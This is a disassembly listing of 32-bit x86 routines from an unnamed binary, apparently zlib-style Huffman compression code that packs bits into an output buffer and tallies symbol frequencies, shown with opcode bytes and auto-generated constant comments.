0806804e  ff 46 10              incl     0x10(%esi)
08068051  66 89 9e b0 16 00 00  mov      %bx,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
08068058  eb 11                 jmp      0806806b <Unknown0417+0x117>
0806805a  89 f6                 mov      %esi,%esi
0806805c  8d 47 02              lea      0x2(%edi),%eax
0806805f  d3 e0                 shl      %cl,%eax
08068061  66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
08068068  8d 41 03              lea      0x3(%ecx),%eax
0806806b  89 86 b4 16 00 00     mov      %eax,0x16b4(%esi)  ;5812 'xb4 x16 x0 x0' ""
08068071  53                    push     %ebx
08068072  68 20 c6 07 08        push     $0x807c620  ;[in .bss] 1718511468 'x6c x67 x6e x66' "lgnfa|"
08068077  68 a0 c1 07 08        push     $0x807c1a0  ;[in .bss] -1961863797 'x8b x55 x10 x8b' ""
0806807c  56                    push     %esi
0806807d  e8 0e 02 00 00        call     08068290 <Unknown0419>
08068082  8b 86 a0 16 00 00     mov      0x16a0(%esi),%eax  ;5792 'xa0 x16 x0 x0' ""
08068088  e9 b0 00 00 00        jmp      0806813d <Unknown0417+0x1e9>  ;176 'xb0 x0 x0 x0' ""
0806808d  8d 76 00              lea      0x0(%esi),%esi
08068090  8b 8e b4 16 00 00     mov      0x16b4(%esi),%ecx  ;5812 'xb4 x16 x0 x0' ""
08068096  83 f9 0d              cmp      $0xd,%ecx
08068099  7e 55                 jle      080680f0 <Unknown0417+0x19c>
0806809b  8d 5f 04              lea      0x4(%edi),%ebx
0806809e  89 d8                 mov      %ebx,%eax
080680a0  d3 e0                 shl      %cl,%eax
080680a2  66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
080680a9  8b 56 10              mov      0x10(%esi),%edx
080680ac  8a 86 b0 16 00 00     mov      0x16b0(%esi),%al  ;5808 'xb0 x16 x0 x0' ""
080680b2  8b 4e 08              mov      0x8(%esi),%ecx
080680b5  88 04 0a              mov      %al,(%edx,%ecx,1)
080680b8  8b 4e 10              mov      0x10(%esi),%ecx
080680bb  41                    inc      %ecx
080680bc  66 0f b6 86 b1 16 00 00  movzbw 0x16b1(%esi),%ax  ;5809 'xb1 x16 x0 x0' ""
080680c4  8b 56 08              mov      0x8(%esi),%edx
080680c7  89 4e 10              mov      %ecx,0x10(%esi)
080680ca  88 04 11              mov      %al,(%ecx,%edx,1)
080680cd  8b 86 b4 16 00 00     mov      0x16b4(%esi),%eax  ;5812 'xb4 x16 x0 x0' ""
080680d3  b9 10 00 00 00        mov      $0x10,%ecx  ;16 'x10 x0 x0 x0' ""
080680d8  29 c1                 sub      %eax,%ecx
080680da  0f b7 db              movzwl   %bx,%ebx
080680dd  d3 fb                 sar      %cl,%ebx
080680df  83 e8 0d              sub      $0xd,%eax
080680e2  ff 46 10              incl     0x10(%esi)
080680e5  66 89 9e b0 16 00 00  mov      %bx,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
080680ec  eb 11                 jmp      080680ff <Unknown0417+0x1ab>
080680ee  89 f6                 mov      %esi,%esi
080680f0  8d 47 04              lea      0x4(%edi),%eax
080680f3  d3 e0                 shl      %cl,%eax
080680f5  66 09 86 b0 16 00 00  or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
```

```
080680fc  8d 41 03               lea      0x3(%ecx),%eax
080680ff  89 86 b4 16 00 00      mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08068105  8b 45 f0               mov      0xfffffff0(%ebp),%eax
08068108  40                     inc      %eax
08068109  50                     push     %eax
0806810a  8b 86 1c 0b 00 00      mov      0xb1c(%esi),%eax    ;2844 'x1c xb x0 x0' ""
08068110  40                     inc      %eax
08068111  50                     push     %eax
08068112  8b 86 10 0b 00 00      mov      0xb10(%esi),%eax    ;2832 'x10 xb x0 x0' ""
08068118  40                     inc      %eax
08068119  50                     push     %eax
0806811a  56                     push     %esi
0806811b  e8 b0 f8 ff ff         call     080679d0 <Unknown0414>
08068120  83 c4 0c               add      $0xc,%esp
08068123  8d 86 7c 09 00 00      lea      0x97c(%esi),%eax    ;2428 'x7c x9 x0 x0' "|"
08068129  50                     push     %eax
0806812a  8d 86 88 00 00 00      lea      0x88(%esi),%eax     ;136 'x88 x0 x0 x0' ""
08068130  50                     push     %eax
08068131  56                     push     %esi
08068132  e8 59 01 00 00         call     08068290 <Unknown0419>
08068137  8b 86 9c 16 00 00      mov      0x169c(%esi),%eax   ;5788 'x9c x16 x0 x0' ""
0806813d  03 86 a4 16 00 00      add      0x16a4(%esi),%eax   ;5796 'xa4 x16 x0 x0' ""
08068143  83 c0 03               add      $0x3,%eax
08068146  89 86 a4 16 00 00      mov      %eax,0x16a4(%esi)   ;5796 'xa4 x16 x0 x0' ""
0806814c  83 c4 10               add      $0x10,%esp
0806814f  83 ec 0c               sub      $0xc,%esp
08068152  56                     push     %esi
08068153  e8 70 eb ff ff         call     08066cc8 <Unknown0400>
08068158  83 c4 10               add      $0x10,%esp
0806815b  85 ff                  test     %edi,%edi
0806815d  74 13                  je       08068172 <Unknown0417+0x21e>
0806815f  83 ec 0c               sub      $0xc,%esp
08068162  56                     push     %esi
08068163  e8 64 06 00 00         call     080687cc <Unknown0423>
08068168  83 c4 10               add      $0x10,%esp
0806816b  83 86 a4 16 00 00 07   addl     $0x7,0x16a4(%esi)   ;5796 'xa4 x16 x0 x0' ""
08068172  8d 65 f4               lea      0xfffffff4(%ebp),%esp
08068175  5b                     pop      %ebx
08068176  8b 86 a4 16 00 00      mov      0x16a4(%esi),%eax   ;5796 'xa4 x16 x0 x0' ""
0806817c  5e                     pop      %esi
0806817d  c1 e8 03               shr      $0x3,%eax
08068180  5f                     pop      %edi
08068181  5d                     pop      %ebp
08068182  c3                     ret
08068183  90                     nop


  ;
  ; >--------------------<  Subroutine # 418 >--------------------<
  ;
08068184 <Unknown0418>:
08068184  55                     push     %ebp
08068185  89 e5                  mov      %esp,%ebp
08068187  57                     push     %edi
08068188  56                     push     %esi
08068189  53                     push     %ebx
0806818a  83 ec 0c               sub      $0xc,%esp
0806818d  8b 75 08               mov      0x8(%ebp),%esi
08068190  8b 4d 0c               mov      0xc(%ebp),%ecx
08068193  8b 86 94 16 00 00      mov      0x1694(%esi),%eax   ;5780 'x94 x16 x0 x0' ""
08068199  8b 96 98 16 00 00      mov      0x1698(%esi),%edx   ;5784 'x98 x16 x0 x0' ""
0806819f  8b 5d 10               mov      0x10(%ebp),%ebx
080681a2  66 89 0c 42            mov      %cx,(%edx,%eax,2)
080681a6  8b 96 8c 16 00 00      mov      0x168c(%esi),%edx   ;5772 'x8c x16 x0 x0' ""
080681ac  88 1c 10               mov      %bl,(%eax,%edx,1)
080681af  ff 86 94 16 00 00      incl     0x1694(%esi)        ;5780 'x94 x16 x0 x0' ""
080681b5  85 c9                  test     %ecx,%ecx
080681b7  75 0b                  jne      080681c4 <Unknown0418+0x40>
080681b9  66 ff 84 9e 88 00 00 00 incw    0x88(%esi,%ebx,4)   ;136 'x88 x0 x0 x0' ""
080681c1  eb 3f                  jmp      08068202 <Unknown0418+0x7e>
080681c3  90                     nop
080681c4  ff 86 a8 16 00 00      incl     0x16a8(%esi)        ;5800 'xa8 x16 x0 x0' ""
080681ca  49                     dec      %ecx
080681cb  0f b6 83 a0 c8 07 08   movzbl   0x807c8a0(%ebx),%eax ;[in .bss] 2020278271 'xff xff x6a x78' ""
080681d2  66 ff 84 86 8c 04 00 00 incw    0x48c(%esi,%eax,4)  ;1164 'x8c x4 x0 x0' ""
080681da  81 f9 ff 00 00 00      cmp      $0xff,%ecx          ;255 'xff x0 x0 x0' ""
080681e0  77 0a                  ja       080681ec <Unknown0418+0x68>
080681e2  0f b6 81 a0 c6 07 08   movzbl   0x807c6a0(%ecx),%eax ;[in .bss] -1053224891 'x45 x10 x39 xc1' "E"
080681e9  eb 0b                  jmp      080681f6 <Unknown0418+0x72>
080681eb  90                     nop
080681ec  c1 e9 07               shr      $0x7,%ecx
080681ef  0f b6 81 a0 c7 07 08   movzbl   0x807c7a0(%ecx),%eax ;[in .bss] -1879048191 'x1 x0 x0 x90' ""
080681f6  8d 04 85 70 09 00 00   lea      0x970(,%eax,4),%eax  ;2416 'x70 x9 x0 x0' "p"
080681fd  66 ff 44 30 0c         incw     0xc(%eax,%esi,1)
```

```
08068202   83 7e 78 02            cmpl   $0x2,0x78(%esi)
08068206   7e 68                  jle    08068270 <Unknown0418+0xec>
08068208   8b 86 94 16 00 00      mov    0x1694(%esi),%eax   ;5780 'x94 x16 x0 x0' ""
0806820e   a9 ff 0f 00 00         test   $0xfff,%eax         ;4095 'xff xf x0 x0' ""
08068213   89 45 e8               mov    %eax,0xffffffe8(%ebp)
08068216   89 45 f0               mov    %eax,0xfffffff0(%ebp)
08068219   75 5e                  jne    08068279 <Unknown0418+0xf5>
0806821b   89 c3                  mov    %eax,%ebx
0806821d   8b 46 60               mov    0x60(%esi),%eax
08068220   89 45 ec               mov    %eax,0xffffffec(%ebp)
08068223   8b 46 50               mov    0x50(%esi),%eax
08068226   c1 e3 03               shl    $0x3,%ebx
08068229   29 45 ec               sub    %eax,0xffffffec(%ebp)
0806822c   31 c9                  xor    %ecx,%ecx
0806822e   bf 1d 00 00 00         mov    $0x1d,%edi   ;29 'x1d x0 x0 x0' ""
08068233   90                     nop
08068234   8b 91 80 94 07 08      mov    0x8079480(%ecx),%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0806823a   0f b7 84 0e 7c 09 00 00  movzwl 0x97c(%esi,%ecx,1),%eax  ;2428 'x7c x9 x0 x0' "|"
08068242   83 c2 05               add    $0x5,%edx
08068245   0f af c2               imul   %edx,%eax
08068248   01 c3                  add    %eax,%ebx
0806824a   83 c1 04               add    $0x4,%ecx
0806824d   4f                     dec    %edi
0806824e   79 e4                  jns    08068234 <Unknown0418+0xb0>
08068250   d1 6d f0               shrl   0xfffffff0(%ebp)
08068253   8b 45 f0               mov    0xfffffff0(%ebp),%eax
08068256   c1 eb 03               shr    $0x3,%ebx
08068259   39 86 a8 16 00 00      cmp    %eax,0x16a8(%esi)   ;5800 'xa8 x16 x0 x0' ""
0806825f   73 18                  jae    08068279 <Unknown0418+0xf5>
08068261   d1 6d ec               shrl   0xffffffec(%ebp)
08068264   3b 5d ec               cmp    0xffffffec(%ebp),%ebx
08068267   73 10                  jae    08068279 <Unknown0418+0xf5>
08068269   b8 01 00 00 00         mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0806826e   eb 18                  jmp    08068288 <Unknown0418+0x104>
08068270   8b 86 94 16 00 00      mov    0x1694(%esi),%eax   ;5780 'x94 x16 x0 x0' ""
08068276   89 45 e8               mov    %eax,0xffffffe8(%ebp)
08068279   8b 96 90 16 00 00      mov    0x1690(%esi),%edx   ;5776 'x90 x16 x0 x0' ""
0806827f   4a                     dec    %edx
08068280   31 c0                  xor    %eax,%eax
08068282   39 55 e8               cmp    %edx,0xffffffe8(%ebp)
08068285   0f 94 c0               sete   %al
08068288   83 c4 0c               add    $0xc,%esp
0806828b   5b                     pop    %ebx
0806828c   5e                     pop    %esi
0806828d   5f                     pop    %edi
0806828e   5d                     pop    %ebp
0806828f   c3                     ret

  ;
  ; >--------------------<  Subroutine # 419 >--------------------<
  ;
08068290 <Unknown0419>:
08068290   55                     push   %ebp
08068291   89 e5                  mov    %esp,%ebp
08068293   57                     push   %edi
08068294   56                     push   %esi
08068295   53                     push   %ebx
08068296   83 ec 14               sub    $0x14,%esp
08068299   8b 75 08               mov    0x8(%ebp),%esi
0806829c   c7 45 ec 00 00 00 00   movl   $0x0,0xffffffec(%ebp)   ;0 'x0 x0 x0 x0' ""
080682a3   8b 8e 94 16 00 00      mov    0x1694(%esi),%ecx   ;5780 'x94 x16 x0 x0' ""
080682a9   85 c9                  test   %ecx,%ecx
080682ab   0f 84 58 03 00 00      je     08068609 <Unknown0419+0x379>   ;856 'x58 x3 x0 x0' "X"
080682b1   8d 76 00               lea    0x0(%esi),%esi
080682b4   8b 55 ec               mov    0xffffffec(%ebp),%edx
080682b7   8b 86 98 16 00 00      mov    0x1698(%esi),%eax   ;5784 'x98 x16 x0 x0' ""
080682bd   0f b7 04 50            movzwl (%eax,%edx,2),%eax
080682c1   89 45 f0               mov    %eax,0xfffffff0(%ebp)
080682c4   8b 86 8c 16 00 00      mov    0x168c(%esi),%eax   ;5772 'x8c x16 x0 x0' ""
080682ca   0f b6 3c 02            movzbl (%edx,%eax,1),%edi
080682ce   42                     inc    %edx
080682cf   89 55 ec               mov    %edx,0xffffffec(%ebp)
080682d2   8b 55 f0               mov    0xfffffff0(%ebp),%edx
080682d5   85 d2                  test   %edx,%edx
080682d7   0f 85 93 00 00 00      jne    08068370 <Unknown0419+0xe0>   ;147 'x93 x0 x0 x0' ""
080682dd   8b 5d 0c               mov    0xc(%ebp),%ebx
080682e0   0f b7 5c bb 02         movzwl 0x2(%ebx,%edi,4),%ebx
080682e5   89 5d e4               mov    %ebx,0xffffffe4(%ebp)
080682e8   b8 10 00 00 00         mov    $0x10,%eax   ;16 'x10 x0 x0 x0' ""
080682ed   29 d8                  sub    %ebx,%eax
080682ef   8b 8e b4 16 00 00      mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080682f5   39 c1                  cmp    %eax,%ecx
080682f7   7e 5b                  jle    08068354 <Unknown0419+0xc4>
```

```
080682f9   8b 45 0c                mov    0xc(%ebp),%eax
080682fc   0f b7 1c b8             movzwl (%eax,%edi,4),%ebx
08068300   89 d8                   mov    %ebx,%eax
08068302   d3 e0                   shl    %cl,%eax
08068304   66 09 86 b0 16 00 00    or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806830b   8b 56 10                mov    0x10(%esi),%edx
0806830e   8a 86 b0 16 00 00       mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08068314   8b 4e 08                mov    0x8(%esi),%ecx
08068317   88 04 0a                mov    %al,(%edx,%ecx,1)
0806831a   8b 4e 10                mov    0x10(%esi),%ecx
0806831d   41                      inc    %ecx
0806831e   66 0f b6 86 b1 16 00 00 movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08068326   8b 56 08                mov    0x8(%esi),%edx
08068329   89 4e 10                mov    %ecx,0x10(%esi)
0806832c   88 04 11                mov    %al,(%ecx,%edx,1)
0806832f   8b 86 b4 16 00 00       mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08068335   b9 10 00 00 00          mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
0806833a   29 c1                   sub    %eax,%ecx
0806833c   d3 fb                   sar    %cl,%ebx
0806833e   ff 46 10                incl   0x10(%esi)
08068341   66 89 9e b0 16 00 00    mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08068348   8b 55 e4                mov    0xffffffe4(%ebp),%edx
0806834b   8d 44 02 f0             lea    0xfffffff0(%edx,%eax,1),%eax
0806834f   e9 a0 02 00 00          jmp    080685f4 <Unknown0419+0x364>   ;672 'xa0 x2 x0 x0' ""
08068354   8b 5d 0c                mov    0xc(%ebp),%ebx
08068357   0f b7 04 bb             movzwl (%ebx,%edi,4),%eax
0806835b   d3 e0                   shl    %cl,%eax
0806835d   66 09 86 b0 16 00 00    or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08068364   8b 55 e4                mov    0xffffffe4(%ebp),%edx
08068367   8d 04 0a                lea    (%edx,%ecx,1),%eax
0806836a   e9 85 02 00 00          jmp    080685f4 <Unknown0419+0x364>   ;645 'x85 x2 x0 x0' ""
0806836f   90                      nop
08068370   0f b6 9f a0 c8 07 08    movzbl 0x807c8a0(%edi),%ebx   ;[in .bss] 2020278271 'xff xff x6a x78' ""
08068377   89 5d e8                mov    %ebx,0xffffffe8(%ebp)
0806837a   8b 45 0c                mov    0xc(%ebp),%eax
0806837d   0f b7 84 98 06 04 00 00 movzwl 0x406(%eax,%ebx,4),%eax   ;1030 'x6 x4 x0 x0' ""
08068385   89 45 e0                mov    %eax,0xffffffe0(%ebp)
08068388   b8 10 00 00 00          mov    $0x10,%eax   ;16 'x10 x0 x0 x0' ""
0806838d   2b 45 e0                sub    0xffffffe0(%ebp),%eax
08068390   8b 8e b4 16 00 00       mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
08068396   39 c1                   cmp    %eax,%ecx
08068398   7e 5e                   jle    080683f8 <Unknown0419+0x168>
0806839a   8b 55 0c                mov    0xc(%ebp),%edx
0806839d   0f b7 9c 9a 04 04 00 00 movzwl 0x404(%edx,%ebx,4),%ebx   ;1028 'x4 x4 x0 x0' ""
080683a5   89 d8                   mov    %ebx,%eax
080683a7   d3 e0                   shl    %cl,%eax
080683a9   66 09 86 b0 16 00 00    or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080683b0   8b 56 10                mov    0x10(%esi),%edx
080683b3   8a 86 b0 16 00 00       mov    0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
080683b9   8b 4e 08                mov    0x8(%esi),%ecx
080683bc   88 04 0a                mov    %al,(%edx,%ecx,1)
080683bf   8b 4e 10                mov    0x10(%esi),%ecx
080683c2   41                      inc    %ecx
080683c3   66 0f b6 86 b1 16 00 00 movzbw 0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
080683cb   8b 56 08                mov    0x8(%esi),%edx
080683ce   89 4e 10                mov    %ecx,0x10(%esi)
080683d1   88 04 11                mov    %al,(%ecx,%edx,1)
080683d4   8b 86 b4 16 00 00       mov    0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
080683da   b9 10 00 00 00          mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
080683df   29 c1                   sub    %eax,%ecx
080683e1   d3 fb                   sar    %cl,%ebx
080683e3   ff 46 10                incl   0x10(%esi)
080683e6   66 89 9e b0 16 00 00    mov    %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080683ed   8b 5d e0                mov    0xffffffe0(%ebp),%ebx
080683f0   8d 44 03 f0             lea    0xfffffff0(%ebx,%eax,1),%eax
080683f4   eb 1f                   jmp    08068415 <Unknown0419+0x185>
080683f6   89 f6                   mov    %esi,%esi
080683f8   8b 55 e8                mov    0xffffffe8(%ebp),%edx
080683fb   8b 5d 0c                mov    0xc(%ebp),%ebx
080683fe   0f b7 84 93 04 04 00 00 movzwl 0x404(%ebx,%edx,4),%eax   ;1028 'x4 x4 x0 x0' ""
08068406   d3 e0                   shl    %cl,%eax
08068408   66 09 86 b0 16 00 00    or     %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806840f   8b 55 e0                mov    0xffffffe0(%ebp),%edx
08068412   8d 04 0a                lea    (%edx,%ecx,1),%eax
08068415   89 86 b4 16 00 00       mov    %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
0806841b   8b 45 e8                mov    0xffffffe8(%ebp),%eax
0806841e   c1 e0 02                shl    $0x2,%eax
08068421   8b 98 00 94 07 08       mov    0x8079400(%eax),%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
08068427   85 db                   test   %ebx,%ebx
08068429   74 7b                   je     080684a6 <Unknown0419+0x216>
0806842b   2b b8 a0 c9 07 08       sub    0x807c9a0(%eax),%edi   ;[in .bss] 114515 'x53 xbf x1 x0' "S"
08068431   b8 10 00 00 00          mov    $0x10,%eax   ;16 'x10 x0 x0 x0' ""
08068436   29 d8                   sub    %ebx,%eax
08068438   8b 8e b4 16 00 00       mov    0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
```

```
0806843e  39 c1                    cmp      %eax,%ecx
08068440  7e 52                    jle      08068494 <Unknown0419+0x204>
08068442  89 f8                    mov      %edi,%eax
08068444  d3 e0                    shl      %cl,%eax
08068446  66 09 86 b0 16 00 00     or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806844d  8b 56 10                 mov      0x10(%esi),%edx
08068450  8a 86 b0 16 00 00        mov      0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
08068456  8b 4e 08                 mov      0x8(%esi),%ecx
08068459  88 04 0a                 mov      %al,(%edx,%ecx,1)
0806845c  8b 4e 10                 mov      0x10(%esi),%ecx
0806845f  41                       inc      %ecx
08068460  66 0f b6 86 b1 16 00 00  movzbw   0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
08068468  8b 56 08                 mov      0x8(%esi),%edx
0806846b  89 4e 10                 mov      %ecx,0x10(%esi)
0806846e  88 04 11                 mov      %al,(%ecx,%edx,1)
08068471  8b 86 b4 16 00 00        mov      0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
08068477  b9 10 00 00 00           mov      $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
0806847c  29 c1                    sub      %eax,%ecx
0806847e  0f b7 d7                 movzwl   %di,%edx
08068481  d3 fa                    sar      %cl,%edx
08068483  8d 44 03 f0              lea      0xfffffff0(%ebx,%eax,1),%eax
08068487  ff 46 10                 incl     0x10(%esi)
0806848a  66 89 96 b0 16 00 00     mov      %dx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08068491  eb 0d                    jmp      080684a0 <Unknown0419+0x210>
08068493  90                       nop
08068494  d3 e7                    shl      %cl,%edi
08068496  8d 04 0b                 lea      (%ebx,%ecx,1),%eax
08068499  66 09 be b0 16 00 00     or       %di,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
080684a0  89 86 b4 16 00 00        mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
080684a6  ff 4d f0                 decl     0xfffffff0(%ebp)
080684a9  81 7d f0 ff 00 00 00     cmpl     $0xff,0xfffffff0(%ebp)   ;255 'xff x0 x0 x0' ""
080684b0  77 12                    ja       080684c4 <Unknown0419+0x234>
080684b2  8b 5d f0                 mov      0xfffffff0(%ebp),%ebx
080684b5  0f b6 9b a0 c6 07 08     movzbl   0x807c6a0(%ebx),%ebx   ;[in .bss] -1053224891 'x45 x10 x39 xc1' "E"
080684bc  89 5d e8                 mov      %ebx,0xffffffe8(%ebp)
080684bf  eb 13                    jmp      080684d4 <Unknown0419+0x244>
080684c1  8d 76 00                 lea      0x0(%esi),%esi
080684c4  8b 45 f0                 mov      0xfffffff0(%ebp),%eax
080684c7  c1 e8 07                 shr      $0x7,%eax
080684ca  0f b6 80 a0 c7 07 08     movzbl   0x807c7a0(%eax),%eax   ;[in .bss] -1879048191 'x1 x0 x0 x90' ""
080684d1  89 45 e8                 mov      %eax,0xffffffe8(%ebp)
080684d4  8b 45 e8                 mov      0xffffffe8(%ebp),%eax
080684d7  8b 55 10                 mov      0x10(%ebp),%edx
080684da  0f b7 7c 82 02           movzwl   0x2(%edx,%eax,4),%edi
080684df  b8 10 00 00 00           mov      $0x10,%eax   ;16 'x10 x0 x0 x0' ""
080684e4  29 f8                    sub      %edi,%eax
080684e6  8b 8e b4 16 00 00        mov      0x16b4(%esi),%ecx   ;5812 'xb4 x16 x0 x0' ""
080684ec  39 c1                    cmp      %eax,%ecx
080684ee  7e 58                    jle      08068548 <Unknown0419+0x2b8>
080684f0  8b 45 e8                 mov      0xffffffe8(%ebp),%eax
080684f3  0f b7 1c 82              movzwl   (%edx,%eax,4),%ebx
080684f7  89 d8                    mov      %ebx,%eax
080684f9  d3 e0                    shl      %cl,%eax
080684fb  66 09 86 b0 16 00 00     or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08068502  8b 56 10                 mov      0x10(%esi),%edx
08068505  8a 86 b0 16 00 00        mov      0x16b0(%esi),%al   ;5808 'xb0 x16 x0 x0' ""
0806850b  8b 4e 08                 mov      0x8(%esi),%ecx
0806850e  88 04 0a                 mov      %al,(%edx,%ecx,1)
08068511  8b 4e 10                 mov      0x10(%esi),%ecx
08068514  41                       inc      %ecx
08068515  66 0f b6 86 b1 16 00 00  movzbw   0x16b1(%esi),%ax   ;5809 'xb1 x16 x0 x0' ""
0806851d  8b 56 08                 mov      0x8(%esi),%edx
08068520  89 4e 10                 mov      %ecx,0x10(%esi)
08068523  88 04 11                 mov      %al,(%ecx,%edx,1)
08068526  8b 86 b4 16 00 00        mov      0x16b4(%esi),%eax   ;5812 'xb4 x16 x0 x0' ""
0806852c  b9 10 00 00 00           mov      $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08068531  29 c1                    sub      %eax,%ecx
08068533  d3 fb                    sar      %cl,%ebx
08068535  8d 44 07 f0              lea      0xfffffff0(%edi,%eax,1),%eax
08068539  ff 46 10                 incl     0x10(%esi)
0806853c  66 89 9e b0 16 00 00     mov      %bx,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
08068543  eb 19                    jmp      0806855e <Unknown0419+0x2ce>
08068545  8d 76 00                 lea      0x0(%esi),%esi
08068548  8b 55 e8                 mov      0xffffffe8(%ebp),%edx
0806854b  8b 5d 10                 mov      0x10(%ebp),%ebx
0806854e  0f b7 04 93              movzwl   (%ebx,%edx,4),%eax
08068552  d3 e0                    shl      %cl,%eax
08068554  66 09 86 b0 16 00 00     or       %ax,0x16b0(%esi)   ;5808 'xb0 x16 x0 x0' ""
0806855b  8d 04 0f                 lea      (%edi,%ecx,1),%eax
0806855e  89 86 b4 16 00 00        mov      %eax,0x16b4(%esi)   ;5812 'xb4 x16 x0 x0' ""
08068564  8b 45 e8                 mov      0xffffffe8(%ebp),%eax
08068567  c1 e0 02                 shl      $0x2,%eax
0806856a  8b 98 80 94 07 08        mov      0x8079480(%eax),%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
08068570  85 db                    test     %ebx,%ebx
```

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08068572   0f 84 82 00 00 00       je       080685fa <Unknown0419+0x36a>  ;130 'x82 x0 x0 x0' ""
08068578   8b 80 20 ca 07 08       mov      0x807ca20(%eax),%eax  ;[in .bss] 2084852539 'x3b x53 x44 x7c'
                                                                  ";SD|"
0806857e   bf 10 00 00 00          mov      $0x10,%edi  ;16 'x10 x0 x0 x0' ""
08068583   29 45 f0                sub      %eax,0xfffffff0(%ebp)
08068586   89 f8                   mov      %edi,%eax
08068588   29 d8                   sub      %ebx,%eax
0806858a   8b 8e b4 16 00 00       mov      0x16b4(%esi),%ecx  ;5812 'xb4 x16 x0 x0' ""
08068590   39 c1                   cmp      %eax,%ecx
08068592   7e 50                   jle      080685e4 <Unknown0419+0x354>
08068594   8b 45 f0                mov      0xfffffff0(%ebp),%eax
08068597   d3 e0                   shl      %cl,%eax
08068599   66 09 86 b0 16 00 00    or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
080685a0   8b 56 10                mov      0x10(%esi),%edx
080685a3   8a 86 b0 16 00 00       mov      0x16b0(%esi),%al  ;5808 'xb0 x16 x0 x0' ""
080685a9   8b 4e 08                mov      0x8(%esi),%ecx
080685ac   88 04 0a                mov      %al,(%edx,%ecx,1)
080685af   8b 4e 10                mov      0x10(%esi),%ecx
080685b2   41                      inc      %ecx
080685b3   66 0f b6 86 b1 16 00 00 movzbw   0x16b1(%esi),%ax  ;5809 'xb1 x16 x0 x0' ""
080685bb   8b 56 08                mov      0x8(%esi),%edx
080685be   89 4e 10                mov      %ecx,0x10(%esi)
080685c1   88 04 11                mov      %al,(%ecx,%edx,1)
080685c4   8b 86 b4 16 00 00       mov      0x16b4(%esi),%eax  ;5812 'xb4 x16 x0 x0' ""
080685ca   ff 46 10                incl     0x10(%esi)
080685cd   89 f9                   mov      %edi,%ecx
080685cf   0f b7 55 f0             movzwl   0xfffffff0(%ebp),%edx
080685d3   29 c1                   sub      %eax,%ecx
080685d5   d3 fa                   sar      %cl,%edx
080685d7   8d 44 03 f0             lea      0xfffffff0(%ebx,%eax,1),%eax
080685db   66 89 96 b0 16 00 00    mov      %dx,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
080685e2   eb 10                   jmp      080685f4 <Unknown0419+0x364>
080685e4   d3 65 f0                shll     %cl,0xfffffff0(%ebp)
080685e7   8b 45 f0                mov      0xfffffff0(%ebp),%eax
080685ea   66 09 86 b0 16 00 00    or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
080685f1   8d 04 0b                lea      (%ebx,%ecx,1),%eax
080685f4   89 86 b4 16 00 00       mov      %eax,0x16b4(%esi)  ;5812 'xb4 x16 x0 x0' ""
080685fa   8b 55 ec                mov      0xffffffec(%ebp),%edx
080685fd   3b 96 94 16 00 00       cmp      0x1694(%esi),%edx  ;5780 'x94 x16 x0 x0' ""
08068603   0f 82 ab fc ff ff       jb       080682b4 <Unknown0419+0x24>  ;-853 'xab xfc xff xff' ""
08068609   8b 5d 0c                mov      0xc(%ebp),%ebx
0806860c   0f b7 bb 02 04 00 00    movzwl   0x402(%ebx),%edi  ;1026 'x2 x4 x0 x0' ""
08068613   b8 10 00 00 00          mov      $0x10,%eax  ;16 'x10 x0 x0 x0' ""
08068618   29 f8                   sub      %edi,%eax
0806861a   8b 8e b4 16 00 00       mov      0x16b4(%esi),%ecx  ;5812 'xb4 x16 x0 x0' ""
08068620   39 c1                   cmp      %eax,%ecx
08068622   7e 58                   jle      0806867c <Unknown0419+0x3ec>
08068624   0f b7 9b 00 04 00 00    movzwl   0x400(%ebx),%ebx  ;1024 'x0 x4 x0 x0' ""
0806862b   89 d8                   mov      %ebx,%eax
0806862d   d3 e0                   shl      %cl,%eax
0806862f   66 09 86 b0 16 00 00    or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
